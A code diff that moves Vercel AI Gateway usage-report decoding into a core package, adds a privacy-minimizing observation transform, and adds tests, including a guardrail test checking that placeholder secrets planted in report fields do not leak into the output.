diff --git a/packages/cli/src/providers/vercel-gateway.ts b/packages/cli/src/providers/vercel-gateway.ts
index 9968d6d9..2d8daf45 100644
--- a/packages/cli/src/providers/vercel-gateway.ts
+++ b/packages/cli/src/providers/vercel-gateway.ts
@@ -1,21 +1,11 @@
 import type { DateRange } from '../types.js'
 import type { Provider, SessionSource, SessionParser, ParsedProviderCall } from './types.js'
+import { decodeVercelGateway } from '@codeburn/core/providers/vercel-gateway'
+import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from '@codeburn/core/providers/vercel-gateway'
 import { fetchWithTimeout } from '../fetch-utils.js'
 
 const REPORT_URL = 'https://ai-gateway.vercel.sh/v1/report'
 
-type ReportRow = {
-  day?: string
-  model?: string
-  total_cost?: number
-  input_tokens?: number
-  output_tokens?: number
-  cached_input_tokens?: number
-  cache_creation_input_tokens?: number
-  reasoning_tokens?: number
-  request_count?: number
-}
-
 export function getVercelGatewayApiKey(): string | null {
   const key = process.env['AI_GATEWAY_API_KEY'] ?? process.env['VERCEL_OIDC_TOKEN']
   return key?.trim() ? key.trim() : null
@@ -30,7 +20,7 @@ function formatUtcDate(d: Date): string {
 
 export async function fetchVercelGatewayReport(
   dateRange: DateRange,
-): Promise<ReportRow[]> {
+): Promise<VercelGatewayReportRow[]> {
   const key = getVercelGatewayApiKey()
   if (!key) return []
 
@@ -60,7 +50,7 @@ export async function fetchVercelGatewayReport(
       return []
     }
 
-    const body = (await res.json()) as { results?: ReportRow[] }
+    const body = (await res.json()) as { results?: VercelGatewayReportRow[] }
     return body.results ?? []
   } catch (err) {
     process.stderr.write(
@@ -70,6 +60,37 @@ export async function fetchVercelGatewayReport(
   }
 }
 
+// Map one rich core call into the host's ParsedProviderCall. Unlike the
+// token-priced providers this one carries the gateway's own dollar figure, so
+// `costUSD` passes through verbatim and no `costBasis` key is emitted — that is
+// what makes parser.ts leave the value alone instead of repricing it.
+function toProviderCall(rich: VercelGatewayDecodedCall, project: string): ParsedProviderCall {
+  return {
+    provider: 'vercel-gateway',
+    model: rich.model,
+    inputTokens: rich.inputTokens,
+    outputTokens: rich.outputTokens,
+    cacheCreationInputTokens: rich.cacheCreationInputTokens,
+    cacheReadInputTokens: rich.cacheReadInputTokens,
+    cachedInputTokens: rich.cachedInputTokens,
+    reasoningTokens: rich.reasoningTokens,
+    webSearchRequests: rich.webSearchRequests,
+    costUSD: rich.costUSD,
+    tools: [],
+    bashCommands: [],
+    timestamp: rich.timestamp,
+    speed: rich.speed,
+    deduplicationKey: rich.deduplicationKey,
+    userMessage: '',
+    sessionId: rich.sessionId,
+    project,
+  }
+}
+
+// Bespoke adapter rather than createBridgedProvider: the records come from an
+// authenticated HTTP report scoped to the scan's date range, which the bridge's
+// readRecords never receives. Fetching, auth, the stderr warnings, and the
+// no-date-range gate stay here; core owns only the row -> call decode.
 function createParser(
   source: SessionSource,
   seenKeys: Set<string>,
@@ -80,38 +101,9 @@ function createParser(
       if (!dateRange) return
 
       const rows = await fetchVercelGatewayReport(dateRange)
-      for (const row of rows) {
-        const day = row.day ?? ''
-        const model = row.model ?? 'unknown'
-        const costUSD = row.total_cost ?? 0
-        const inputTokens = row.input_tokens ?? 0
-        const outputTokens = row.output_tokens ?? 0
-        if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue
-
-        const deduplicationKey = `vercel-gateway:${day}:${model}`
-        if (seenKeys.has(deduplicationKey)) continue
-        seenKeys.add(deduplicationKey)
-
-        yield {
-          provider: 'vercel-gateway',
-          model,
-          inputTokens,
-          outputTokens,
-          cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0,
-          cacheReadInputTokens: row.cached_input_tokens ?? 0,
-          cachedInputTokens: 0,
-          reasoningTokens: row.reasoning_tokens ?? 0,
-          webSearchRequests: 0,
-          costUSD,
-          tools: [],
-          bashCommands: [],
-          timestamp: day ? `${day}T12:00:00.000Z` : '',
-          speed: 'standard',
-          deduplicationKey,
-          userMessage: '',
-          sessionId: `${day}:${model}`,
-          project: source.project,
-        }
+      const { calls } = decodeVercelGateway({ records: rows, seenKeys })
+      for (const rich of calls) {
+        yield toProviderCall(rich, source.project)
       }
     },
   }
diff --git a/packages/cli/tests/providers/vercel-gateway-bridge.test.ts b/packages/cli/tests/providers/vercel-gateway-bridge.test.ts
new file mode 100644
index 00000000..840046a2
--- /dev/null
+++ b/packages/cli/tests/providers/vercel-gateway-bridge.test.ts
@@ -0,0 +1,309 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+import { vercelGateway } from '../../src/providers/vercel-gateway.js'
+
+const source = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const }
+
+function sortedKeys(obj: object): string[] {
+  return Object.keys(obj).sort()
+}
+
+const expectedKeys = [
+  'bashCommands',
+  'cacheCreationInputTokens',
+  'cacheReadInputTokens',
+  'cachedInputTokens',
+  'costUSD',
+  'deduplicationKey',
+  'inputTokens',
+  'model',
+  'outputTokens',
+  'project',
+  'provider',
+  'reasoningTokens',
+  'sessionId',
+  'speed',
+  'timestamp',
+  'tools',
+  'userMessage',
+  'webSearchRequests',
+]
+
+describe('vercel-gateway bridge golden (unmodified provider)', () => {
+  const originalFetch = globalThis.fetch
+  const originalKey = process.env.AI_GATEWAY_API_KEY
+
+  beforeEach(() => {
+    process.env.AI_GATEWAY_API_KEY = 'test-key'
+  })
+
+  afterEach(() => {
+    globalThis.fetch = originalFetch
+    if (originalKey === undefined) delete process.env.AI_GATEWAY_API_KEY
+    else process.env.AI_GATEWAY_API_KEY = originalKey
+    vi.restoreAllMocks()
+  })
+
+  const range = {
+    start: new Date('2026-06-01T00:00:00.000Z'),
+    end: new Date('2026-06-07T23:59:59.999Z'),
+  }
+
+  it('maps a normal multi-row report verbatim', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({
+        results: [
+          {
+            day: '2026-06-01',
+            model: 'anthropic/claude-sonnet-4.6',
+            total_cost: 1.25,
+            input_tokens: 1000,
+            output_tokens: 200,
+            cached_input_tokens: 50,
+            cache_creation_input_tokens: 10,
+            reasoning_tokens: 5,
+            request_count: 3,
+          },
+          {
+            day: '2026-06-02',
+            model: 'openai/gpt-4o',
+            total_cost: 0.75,
+            input_tokens: 500,
+            output_tokens: 100,
+            request_count: 1,
+          },
+        ],
+      }),
+    })) as typeof fetch
+
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
+      calls.push(call)
+    }
+
+    expect(calls).toHaveLength(2)
+    expect(calls[0]).toStrictEqual({
+      provider: 'vercel-gateway',
+      model: 'anthropic/claude-sonnet-4.6',
+      inputTokens: 1000,
+      outputTokens: 200,
+      cacheCreationInputTokens: 10,
+      cacheReadInputTokens: 50,
+      cachedInputTokens: 0,
+      reasoningTokens: 5,
+      webSearchRequests: 0,
+      costUSD: 1.25,
+      tools: [],
+      bashCommands: [],
+      timestamp: '2026-06-01T12:00:00.000Z',
+      speed: 'standard',
+      deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6',
+      userMessage: '',
+      sessionId: '2026-06-01:anthropic/claude-sonnet-4.6',
+      project: 'Vercel AI Gateway',
+    })
+    expect(calls[1]).toStrictEqual({
+      provider: 'vercel-gateway',
+      model: 'openai/gpt-4o',
+      inputTokens: 500,
+      outputTokens: 100,
+      cacheCreationInputTokens: 0,
+      cacheReadInputTokens: 0,
+      cachedInputTokens: 0,
+      reasoningTokens: 0,
+      webSearchRequests: 0,
+      costUSD: 0.75,
+      tools: [],
+      bashCommands: [],
+      timestamp: '2026-06-02T12:00:00.000Z',
+      speed: 'standard',
+      deduplicationKey: 'vercel-gateway:2026-06-02:openai/gpt-4o',
+      userMessage: '',
+      sessionId: '2026-06-02:openai/gpt-4o',
+      project: 'Vercel AI Gateway',
+    })
+    for (const call of calls) {
+      expect(sortedKeys(call as object)).toStrictEqual(expectedKeys)
+      expect(call).not.toHaveProperty('costBasis')
+    }
+  })
+
+  it('skips all-zero rows BEFORE burning a dedup key', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({
+        results: [
+          { day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0, input_tokens: 0, output_tokens: 0 },
+          { day: '2026-06-03', model: 'skip-before-dedup', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
+        ],
+      }),
+    })) as typeof fetch
+
+    const seen = new Set<string>()
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) {
+      calls.push(call)
+    }
+
+    expect(calls).toHaveLength(1)
+    expect((calls[0] as { costUSD: number }).costUSD).toBe(0.5)
+    expect(seen.has('vercel-gateway:2026-06-03:skip-before-dedup')).toBe(true)
+  })
+
+  it('second pass with a shared seenKeys yields nothing', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({
+        results: [{ day: '2026-06-04', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }],
+      }),
+    })) as typeof fetch
+
+    const seen = new Set<string>(['vercel-gateway:2026-06-04:dup'])
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, seen, range).parse()) {
+      calls.push(call)
+    }
+    expect(calls).toStrictEqual([])
+    expect(seen.has('vercel-gateway:2026-06-04:dup')).toBe(true)
+  })
+
+  it('missing day keeps timestamp empty', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({
+        results: [{ model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 }],
+      }),
+    })) as typeof fetch
+
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
+      calls.push(call)
+    }
+
+    expect(calls).toHaveLength(1)
+    expect(calls[0]).toStrictEqual({
+      provider: 'vercel-gateway',
+      model: 'no-day',
+      inputTokens: 10,
+      outputTokens: 5,
+      cacheCreationInputTokens: 0,
+      cacheReadInputTokens: 0,
+      cachedInputTokens: 0,
+      reasoningTokens: 0,
+      webSearchRequests: 0,
+      costUSD: 0.5,
+      tools: [],
+      bashCommands: [],
+      timestamp: '',
+      speed: 'standard',
+      deduplicationKey: 'vercel-gateway::no-day',
+      userMessage: '',
+      sessionId: ':no-day',
+      project: 'Vercel AI Gateway',
+    })
+  })
+
+  it('missing model defaults to unknown', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({
+        results: [{ day: '2026-06-05', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }],
+      }),
+    })) as typeof fetch
+
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
+      calls.push(call)
+    }
+
+    expect(calls).toHaveLength(1)
+    expect((calls[0] as { model: string }).model).toBe('unknown')
+    expect((calls[0] as { sessionId: string }).sessionId).toBe('2026-06-05:unknown')
+    expect((calls[0] as { deduplicationKey: string }).deduplicationKey).toBe('vercel-gateway:2026-06-05:unknown')
+    expect(sortedKeys(calls[0] as object)).toStrictEqual(expectedKeys)
+  })
+
+  it('warns on a non-ok report and yields nothing', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: false,
+      status: 403,
+      text: async () => 'forbidden detail',
+    })) as unknown as typeof fetch
+    const writes: string[] = []
+    vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => {
+      writes.push(String(chunk))
+      return true
+    })
+
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
+      calls.push(call)
+    }
+
+    expect(calls).toStrictEqual([])
+    expect(writes).toStrictEqual([
+      'codeburn: Vercel AI Gateway report failed (HTTP 403). ' +
+        'Requires AI_GATEWAY_API_KEY or VERCEL_OIDC_TOKEN (Pro/Enterprise for /v1/report). ' +
+        'forbidden detail\n',
+    ])
+  })
+
+  it('warns when the report is unreachable and yields nothing', async () => {
+    globalThis.fetch = vi.fn(async () => {
+      throw new Error('getaddrinfo ENOTFOUND ai-gateway.vercel.sh')
+    }) as unknown as typeof fetch
+    const writes: string[] = []
+    vi.spyOn(process.stderr, 'write').mockImplementation((chunk: string | Uint8Array) => {
+      writes.push(String(chunk))
+      return true
+    })
+
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), range).parse()) {
+      calls.push(call)
+    }
+
+    expect(calls).toStrictEqual([])
+    expect(writes).toStrictEqual([
+      'codeburn: Vercel AI Gateway report unreachable (getaddrinfo ENOTFOUND ai-gateway.vercel.sh).\n',
+    ])
+  })
+
+  it('no dateRange yields nothing', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
+    })) as typeof fetch
+
+    const fetchSpy = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({ results: [{ day: '2026-06-06', model: 'x', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
+    })) as unknown as typeof fetch
+    globalThis.fetch = fetchSpy
+
+    const calls: unknown[] = []
+    for await (const call of vercelGateway.createSessionParser(source, new Set<string>(), undefined).parse()) {
+      calls.push(call)
+    }
+    expect(calls).toStrictEqual([])
+    expect(fetchSpy).not.toHaveBeenCalled()
+  })
+
+  // The discovered source is shared across the scan; parsing must not stash
+  // per-run state (e.g. a date range) on it.
+  it('does not mutate the discovered source', async () => {
+    globalThis.fetch = vi.fn(async () => ({
+      ok: true,
+      json: async () => ({ results: [{ day: '2026-06-07', model: 'm', total_cost: 1, input_tokens: 1, output_tokens: 1 }] }),
+    })) as typeof fetch
+
+    const fresh = { path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' as const }
+    const before = Reflect.ownKeys(fresh)
+    for await (const _call of vercelGateway.createSessionParser(fresh, new Set<string>(), range).parse()) {
+      // drain
+    }
+
+    expect(Reflect.ownKeys(fresh)).toStrictEqual(before)
+    expect(fresh).toStrictEqual({ path: 'vercel-ai-gateway:report', project: 'Vercel AI Gateway', provider: 'vercel-gateway' })
+  })
+})
diff --git a/packages/core/package.json b/packages/core/package.json
index 824e7568..c3ab7ab1 100644
--- a/packages/core/package.json
+++ b/packages/core/package.json
@@ -166,6 +166,10 @@
     "./providers/kiro": {
       "types": "./dist/providers/kiro/index.d.ts",
       "import": "./dist/providers/kiro/index.js"
+    },
+    "./providers/vercel-gateway": {
+      "types": "./dist/providers/vercel-gateway/index.d.ts",
+      "import": "./dist/providers/vercel-gateway/index.js"
     }
   },
   "files": [
diff --git a/packages/core/src/providers/vercel-gateway/decode.ts b/packages/core/src/providers/vercel-gateway/decode.ts
new file mode 100644
index 00000000..487e9df2
--- /dev/null
+++ b/packages/core/src/providers/vercel-gateway/decode.ts
@@ -0,0 +1,70 @@
+// @codeburn/core Vercel AI Gateway decoder: pure decode over the day×model
+// aggregate rows the host fetched from the `/v1/report` API. No fs / env /
+// clock / network — the host owns authentication, the HTTP request, the stderr
+// warning, and the date-range gate. The decoder only maps rows to calls and
+// threads the shared cross-file dedup set.
+
+import type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js'
+
+export type VercelGatewayDecodeInput = {
+  records: unknown[]
+  // Optional live dedup set the host mutates in place (its shared cross-file
+  // seenKeys). Simple report providers never persist resume state.
+  seenKeys?: Set<string>
+}
+
+export type VercelGatewayDecodeResult = {
+  calls: VercelGatewayDecodedCall[]
+}
+
+/**
+ * Decode Vercel AI Gateway report rows into rich, cost-carrying calls. The row
+ * mapping matches the original host-side parser verbatim:
+ *   - day/model/cost defaults
+ *   - all-zero rows are skipped BEFORE dedup key burn
+ *   - dedup key `vercel-gateway:<day>:<model>` with add-after-skip semantics
+ *   - timestamp synthesized as `${day}T12:00:00.000Z`
+ *   - sessionId synthesized as `${day}:${model}`
+ */
+export function decodeVercelGateway(input: VercelGatewayDecodeInput): VercelGatewayDecodeResult {
+  const { records, seenKeys: liveSeen } = input
+  const seen = liveSeen ?? new Set<string>()
+  const calls: VercelGatewayDecodedCall[] = []
+
+  for (const raw of records) {
+    const row = raw as VercelGatewayReportRow
+    const day = row.day ?? ''
+    const model = row.model ?? 'unknown'
+    const costUSD = row.total_cost ?? 0
+    const inputTokens = row.input_tokens ?? 0
+    const outputTokens = row.output_tokens ?? 0
+
+    // Verbatim from the original parser: drop rows that report no usage and no
+    // cost before touching the dedup set, so an all-zero row does not burn its
+    // key and block a later non-zero row for the same day×model.
+    if (costUSD === 0 && inputTokens === 0 && outputTokens === 0) continue
+
+    const deduplicationKey = `vercel-gateway:${day}:${model}`
+    if (seen.has(deduplicationKey)) continue
+    seen.add(deduplicationKey)
+
+    calls.push({
+      provider: 'vercel-gateway',
+      model,
+      inputTokens,
+      outputTokens,
+      cacheCreationInputTokens: row.cache_creation_input_tokens ?? 0,
+      cacheReadInputTokens: row.cached_input_tokens ?? 0,
+      cachedInputTokens: 0,
+      reasoningTokens: row.reasoning_tokens ?? 0,
+      webSearchRequests: 0,
+      costUSD,
+      timestamp: day ? `${day}T12:00:00.000Z` : '',
+      speed: 'standard',
+      deduplicationKey,
+      sessionId: `${day}:${model}`,
+    })
+  }
+
+  return { calls }
+}
diff --git a/packages/core/src/providers/vercel-gateway/index.ts b/packages/core/src/providers/vercel-gateway/index.ts
new file mode 100644
index 00000000..0324ee64
--- /dev/null
+++ b/packages/core/src/providers/vercel-gateway/index.ts
@@ -0,0 +1,12 @@
+// @codeburn/core Vercel AI Gateway provider.
+//
+// Two layers:
+//  - Rich pure decode (`decodeVercelGateway`): host-facing, NOT part of the
+//    stable minimized surface. Pure over supplied report rows; carries the
+//    provider-reported dollar cost but no free text.
+//  - Minimizing transform (`toObservations`): maps the rich decode into the
+//    strict observation envelope; the content-smuggling guarantees bind here.
+
+export { decodeVercelGateway, type VercelGatewayDecodeInput, type VercelGatewayDecodeResult } from './decode.js'
+export { toObservations, type RichVercelGatewaySessionDecode, type VercelGatewayToObservationsContext } from './observations.js'
+export type { VercelGatewayDecodedCall, VercelGatewayReportRow } from './types.js'
diff --git a/packages/core/src/providers/vercel-gateway/observations.ts b/packages/core/src/providers/vercel-gateway/observations.ts
new file mode 100644
index 00000000..9db01053
--- /dev/null
+++ b/packages/core/src/providers/vercel-gateway/observations.ts
@@ -0,0 +1,98 @@
+// Minimizing transform: rich Vercel AI Gateway decode -> the strict observation
+// envelope. This is where the content-smuggling guarantees bind.
+//
+// Vercel Gateway reports contain no free-text user content. The only string
+// fields that cross into the envelope are machine identifiers:
+//   - `provider` and `model` are emitted by design under the identifier-exemption
+//     convention (see architecture-gate.test.ts MACHINE_ID_ALLOWLIST).
+//   - `day` is an API-supplied calendar date. It IS emitted, verbatim, inside the
+//     synthesized timestamp and the dedup key. The envelope's `format: date-time`
+//     constraint on every timestamp is what bounds it: a `day` that is not a real
+//     date fails envelope validation, so a hostile value cannot ship.
+// No host-held user prompt, tools, bashCommands, file paths, or command lines
+// exist at this layer.
+
+import { projectRef, sessionRef } from '../../fingerprint.js'
+import type { RecordDiagnostic } from '../../diagnostics.js'
+import type { CallObservation, SessionObservation } from '../../observations.js'
+import type { VercelGatewayDecodedCall } from './types.js'
+
+/** One Vercel Gateway report's rich decode, as the host holds it before minimization. */
+export interface RichVercelGatewaySessionDecode {
+  sessionId: string
+  /** Discovered project label (fingerprinted, never emitted raw). */
+  projectPath: string
+  /** Rich, cost-carrying calls in decode order (as decodeVercelGateway emits them). */
+  calls: VercelGatewayDecodedCall[]
+}
+
+export interface VercelGatewayToObservationsContext {
+  /** HMAC key that scopes every fingerprint. */
+  privacyKey: string
+  /** Provider id stamped onto sessions/calls and folded into sessionRef. */
+  provider?: string
+}
+
+function toCallObservation(call: VercelGatewayDecodedCall, turnIndex: number): CallObservation {
+  return {
+    provider: call.provider,
+    model: call.model,
+    tokens: {
+      input: call.inputTokens,
+      output: call.outputTokens,
+      reasoning: call.reasoningTokens,
+      cacheRead: call.cacheReadInputTokens,
+      cacheCreate: call.cacheCreationInputTokens,
+    },
+    webSearchRequests: call.webSearchRequests,
+    speed: call.speed,
+    // The provider reports a measured dollar figure directly from the API.
+    costBasis: 'measured',
+    measuredCostUSD: call.costUSD,
+    timestamp: call.timestamp,
+    dedupKey: call.deduplicationKey,
+    toolNames: [],
+    turnIndex,
+  }
+}
+
+function toSessionObservation(
+  decode: RichVercelGatewaySessionDecode,
+  ctx: VercelGatewayToObservationsContext,
+): SessionObservation {
+  const provider = ctx.provider ?? 'vercel-gateway'
+  const calls = decode.calls.map((call, i) => toCallObservation(call, i))
+
+  const timestamps = calls.map(c => c.timestamp).filter(t => t.length > 0).sort()
+  const startedAt = timestamps[0] ?? ''
+  const endedAt = timestamps.length > 0 ? timestamps[timestamps.length - 1]! : ''
+
+  return {
+    sessionRef: sessionRef(ctx.privacyKey, provider, decode.sessionId),
+    projectRef: projectRef(ctx.privacyKey, decode.projectPath),
+    providerId: provider,
+    startedAt,
+    ...(endedAt ? { endedAt } : {}),
+    calls,
+    turnCount: calls.length,
+  }
+}
+
+/**
+ * Map a rich Vercel Gateway decode into the minimized observation layer.
+ * Returns the `sessions` array plus any per-record `diagnostics` (none for this
+ * provider).
+ *
+ * Content-smuggling guarantee: no free text (host-held user prompt, project
+ * path, command, file path, tool argument) is ever copied into the result. Only
+ * fingerprints, enums, numbers, timestamps, dedup keys, and the API model
+ * identifier cross the boundary under the identifier-exemption convention.
+ */
+export function toObservations(
+  decode: RichVercelGatewaySessionDecode | RichVercelGatewaySessionDecode[],
+  ctx: VercelGatewayToObservationsContext,
+): { sessions: SessionObservation[]; diagnostics: RecordDiagnostic[] } {
+  const decodes = Array.isArray(decode) ? decode : [decode]
+  const sessions = decodes.map(d => toSessionObservation(d, ctx))
+  return { sessions, diagnostics: [] }
+}
diff --git a/packages/core/src/providers/vercel-gateway/types.ts b/packages/core/src/providers/vercel-gateway/types.ts
new file mode 100644
index 00000000..d132e066
--- /dev/null
+++ b/packages/core/src/providers/vercel-gateway/types.ts
@@ -0,0 +1,41 @@
+// Raw record + rich-decode types for the Vercel AI Gateway provider.
+//
+// The record type (`VercelGatewayReportRow`) describes one day×model aggregate
+// returned by the `/v1/report` API. The decoded-call type is the rich, pre-
+// pricing output: it carries the provider-reported `costUSD` verbatim (a measured
+// dollar figure, not an estimate) but no free-text user content.
+
+export type VercelGatewayReportRow = {
+  day?: string
+  model?: string
+  total_cost?: number
+  input_tokens?: number
+  output_tokens?: number
+  cached_input_tokens?: number
+  cache_creation_input_tokens?: number
+  reasoning_tokens?: number
+  request_count?: number
+}
+
+// Rich decode of one Vercel Gateway aggregate row. Mirrors the host's
+// ParsedProviderCall minus `costBasis` (the provider figure is measured, not
+// estimated) and minus CLI-only fields (`project`, `tools`, `bashCommands`, and
+// the host-held user prompt). No free text is captured: `day` is a calendar date
+// and `model` is an API model identifier emitted under the identifier-exemption
+// convention.
+export type VercelGatewayDecodedCall = {
+  provider: 'vercel-gateway'
+  model: string
+  inputTokens: number
+  outputTokens: number
+  cacheCreationInputTokens: number
+  cacheReadInputTokens: number
+  cachedInputTokens: number
+  reasoningTokens: number
+  webSearchRequests: number
+  costUSD: number
+  timestamp: string
+  speed: 'standard'
+  deduplicationKey: string
+  sessionId: string
+}
diff --git a/packages/core/tests/content-smuggling.test.ts b/packages/core/tests/content-smuggling.test.ts
index 31de1d3a..ebfd145f 100644
--- a/packages/core/tests/content-smuggling.test.ts
+++ b/packages/core/tests/content-smuggling.test.ts
@@ -53,6 +53,7 @@ import {
   decodeKiroV2Session,
   toObservations as toKiroObservations,
 } from '../src/providers/kiro/index.js'
+import { decodeVercelGateway, toObservations as toVercelGatewayObservations } from '../src/providers/vercel-gateway/index.js'
 import type { DecodeContext } from '../src/contracts.js'
 import type { ZedThreadRow } from '../src/providers/zed/index.js'
 import type {
@@ -2077,3 +2078,75 @@ describe('content-smuggling guardrail: real kiro decode -> toObservations is sec
     expect(allToolNames).not.toContain(SECRETS.commandLine)
   })
 })
+
+
+describe('content-smuggling guardrail: real vercel-gateway decode -> toObservations is secret-free', () => {
+  // A hostile Vercel Gateway report planting every secret in the API fields the
+  // decode sees. The only free-text-capable API field is `model`; under the
+  // identifier-exemption convention model is an API identifier emitted by design,
+  // so the secret planted there is expected to remain. Every other secret must
+  // be absent from the envelope.
+  function decodeAndMinimize() {
+    const { calls } = decodeVercelGateway({
+      records: [
+        {
+          day: '2026-07-17',
+          model: SECRETS.prompt,
+          total_cost: 1.23,
+          input_tokens: 100,
+          output_tokens: 50,
+        },
+      ],
+    })
+    const { sessions } = toVercelGatewayObservations(
+      { sessionId: 'report-hostile', projectPath: SECRETS.absPath, calls },
+      { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
+    )
+    return {
+      schemaVersion: OBSERVATION_SCHEMA_VERSION,
+      generator: { name: '@codeburn/core', version: '0.0.0-test' },
+      sessions,
+    }
+  }
+
+  it('produces a schema-valid envelope from the hostile report', () => {
+    expect(ObservationEnvelope.safeParse(decodeAndMinimize()).success).toBe(true)
+  })
+
+  it('is non-vacuous (at least one call)', () => {
+    const env = decodeAndMinimize()
+    const callCount = env.sessions.reduce((sum, s) => sum + s.calls.length, 0)
+    expect(callCount).toBeGreaterThan(0)
+  })
+
+  it('contains the model secret (identifier-exemption convention) and no other secrets', () => {
+    const serialized = JSON.stringify(decodeAndMinimize())
+    expect(serialized).toContain(SECRETS.prompt)
+    expect(serialized).not.toContain(SECRETS.absPath)
+    expect(serialized).not.toContain(SECRETS.apiKey)
+    expect(serialized).not.toContain(SECRETS.commandLine)
+    expect(serialized).not.toContain(SECRETS.fileContent)
+  })
+
+  // `day` is the report's only other string field, and it is NOT sanitized: the
+  // decode splices it verbatim into the synthesized timestamp and the dedup key.
+  // The envelope's date-time constraint is the containment, not the decode — a
+  // hostile `day` fails validation and therefore never ships.
+  it('rejects the envelope when a hostile day is spliced into the timestamp', () => {
+    const { calls } = decodeVercelGateway({
+      records: [{ day: SECRETS.apiKey, model: 'openai/gpt-4o', total_cost: 1, input_tokens: 1, output_tokens: 1 }],
+    })
+    expect(calls[0]?.timestamp).toContain(SECRETS.apiKey)
+
+    const { sessions } = toVercelGatewayObservations(
+      { sessionId: 'report-hostile-day', projectPath: SECRETS.absPath, calls },
+      { privacyKey: 'test-privacy-key', provider: 'vercel-gateway' },
+    )
+    const parsed = ObservationEnvelope.safeParse({
+      schemaVersion: OBSERVATION_SCHEMA_VERSION,
+      generator: { name: '@codeburn/core', version: '0.0.0-test' },
+      sessions,
+    })
+    expect(parsed.success).toBe(false)
+  })
+})
diff --git a/packages/core/tests/providers/vercel-gateway-decode.test.ts b/packages/core/tests/providers/vercel-gateway-decode.test.ts
new file mode 100644
index 00000000..6cf6f228
--- /dev/null
+++ b/packages/core/tests/providers/vercel-gateway-decode.test.ts
@@ -0,0 +1,141 @@
+import { describe, it, expect } from 'vitest'
+import { decodeVercelGateway, toObservations } from '../../src/providers/vercel-gateway/index.js'
+import { ObservationEnvelope } from '../../src/observations.js'
+import { OBSERVATION_SCHEMA_VERSION } from '../../src/schema.js'
+
+describe('vercel-gateway decode', () => {
+  it('maps report rows to rich calls with verbatim defaults', () => {
+    const rows = [
+      {
+        day: '2026-06-01',
+        model: 'anthropic/claude-sonnet-4.6',
+        total_cost: 1.25,
+        input_tokens: 1000,
+        output_tokens: 200,
+        cached_input_tokens: 50,
+        cache_creation_input_tokens: 10,
+        reasoning_tokens: 5,
+      },
+    ]
+    const { calls } = decodeVercelGateway({ records: rows })
+
+    expect(calls).toHaveLength(1)
+    expect(calls[0]).toStrictEqual({
+      provider: 'vercel-gateway',
+      model: 'anthropic/claude-sonnet-4.6',
+      inputTokens: 1000,
+      outputTokens: 200,
+      cacheCreationInputTokens: 10,
+      cacheReadInputTokens: 50,
+      cachedInputTokens: 0,
+      reasoningTokens: 5,
+      webSearchRequests: 0,
+      costUSD: 1.25,
+      timestamp: '2026-06-01T12:00:00.000Z',
+      speed: 'standard',
+      deduplicationKey: 'vercel-gateway:2026-06-01:anthropic/claude-sonnet-4.6',
+      sessionId: '2026-06-01:anthropic/claude-sonnet-4.6',
+    })
+  })
+
+  it('skips all-zero rows before burning a dedup key', () => {
+    const rows = [
+      { day: '2026-06-02', model: 'all-zero', total_cost: 0, input_tokens: 0, output_tokens: 0 },
+      { day: '2026-06-02', model: 'all-zero', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
+    ]
+    const seen = new Set<string>()
+    const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen })
+
+    expect(calls).toHaveLength(1)
+    expect(calls[0]?.costUSD).toBe(0.5)
+    expect(seen.has('vercel-gateway:2026-06-02:all-zero')).toBe(true)
+  })
+
+  it('dedups against a shared seenKeys set', () => {
+    const rows = [{ day: '2026-06-03', model: 'dup', total_cost: 0.1, input_tokens: 1, output_tokens: 1 }]
+    const seen = new Set<string>(['vercel-gateway:2026-06-03:dup'])
+    const { calls } = decodeVercelGateway({ records: rows, seenKeys: seen })
+
+    expect(calls).toStrictEqual([])
+    expect(seen.has('vercel-gateway:2026-06-03:dup')).toBe(true)
+  })
+
+  it('synthesizes timestamps and session ids from day/model', () => {
+    const rows = [
+      { model: 'no-day', total_cost: 0.5, input_tokens: 10, output_tokens: 5 },
+      { day: '2026-06-04', total_cost: 0.1, input_tokens: 1, output_tokens: 1 },
+    ]
+    const { calls } = decodeVercelGateway({ records: rows })
+
+    expect(calls).toHaveLength(2)
+    expect(calls[0]?.timestamp).toBe('')
+    expect(calls[0]?.sessionId).toBe(':no-day')
+    expect(calls[0]?.deduplicationKey).toBe('vercel-gateway::no-day')
